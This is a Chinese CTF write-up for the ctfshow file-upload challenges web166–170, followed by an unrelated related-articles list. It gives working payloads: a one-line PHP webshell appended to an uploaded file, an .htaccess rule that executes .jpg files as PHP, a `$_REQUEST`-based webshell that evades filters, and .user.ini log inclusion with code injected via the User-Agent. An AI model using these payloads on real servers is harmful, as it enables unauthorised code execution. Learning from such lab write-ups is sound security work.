当前位置: 首页 > article >正文

ctfshow web文件上传 web166-170

1.web166

通过源码上传发现只能传zip,尝试一下图片上传也不行
在这里插入图片描述
把随便一张图片打包成zip文件,上传后发现有一个下载的地方,猜测是文件上传,尝试zip伪协议发现失败,打包php文件也失败了,不知为什么,,上传图片,在zip文件最后加入一句话木马,上传执行,得到flag
在这里插入图片描述

2.web167

打开题目时发现有一个httpd,httpd是apache的服务,关于apache的文件上传中有一个.htaccess配置文件,可以进行文件包含
上传一张图片,发现有个下载文件但是没有包含点,所以就想到像上传配置文件来使jpg可以被包含
在这里插入图片描述
.htaccess写入一下内容

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片,写入一句话木马
执行命令即可得到flag
在这里插入图片描述

3.web168

根据提示,基础免杀
上传php文件,修改mime类型,通过测试发现过滤了eval,post,get等函数
在这里插入图片描述
使用$_REQUEST绕过
上传的php文件写入

<?php $_REQUEST[1]($_REQUEST[2])?>

执行命令,即可得到flag
xxx/upload/1.php?1=sytem&2=tac …/flaaa.php

4.web169

通过上传发现<? php等都被过滤了,所以只能考虑文件包含,这题可以用日志包含来做

服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以了

index.php
在这里插入图片描述
.user.ini

auto_append_file=/var/log/nginx/access.log```

在这里插入图片描述
访问上传的文件位置,在user-agent写入一句话木马
在这里插入图片描述

post传入1=system(“tac …/flagaa.php”); 执行得到flag
在这里插入图片描述

5.web170

和169完全一样


http://www.kler.cn/a/377018.html

相关文章:

  • Spring Boot教程之四十九:Spring Boot – MongoRepository 示例
  • 基于高斯混合模型的数据分析及其延伸应用(具体代码分析)
  • 阻抗(Impedance)、容抗(Capacitive Reactance)、感抗(Inductive Reactance)
  • 汽车信息安全 -- S32K1如何更新BOOT_MAC
  • doris:远程存储
  • FastAPI 的依赖注入与生命周期管理深度解析
  • elementUI table 多级表头隔行变背景颜色
  • 从零开始构建 ChatGPT
  • 2024 Rust现代实用教程 Trait特质
  • 15分钟学 Go 第 27 天:路由和处理请求
  • 实际案例说明用基于FPGA的原型来测试、验证和确认IP——如何做到鱼与熊掌兼得?
  • vue 禁用element-ui calendar 取消非本月日期的点击事件
  • 【大模型LLM面试合集】大语言模型架构_tokenize分词
  • Maven详解—(详解Maven,包括Maven依赖管理以及声明周期,Maven仓库、idea集成Maven)
  • 基于Spring Boot和Vue的电子商城系统功能设计
  • Java面向对象的理解
  • 【JavaSE】java对象的比较
  • Linux:防火墙和selinux对服务的影响
  • Electron+Vue3+TS+sqlite3项目搭建加入sqlite3后无法运行问题
  • 沈阳乐晟睿浩科技有限公司抖音小店短视频时代的电商蓝海
  • ctfshow web入门文件上传总结
  • 【ShuQiHere】使用链表 (Linked List) 和数组 (Array) 实现栈 (Stack) 的深入解析与比较
  • 2. Flink快速上手
  • Web3中的数据主权:区块链如何为用户赋能
  • Java-02
  • VS2017+Qt5.12.9+CMake3.30.2编译VTK 9.2.0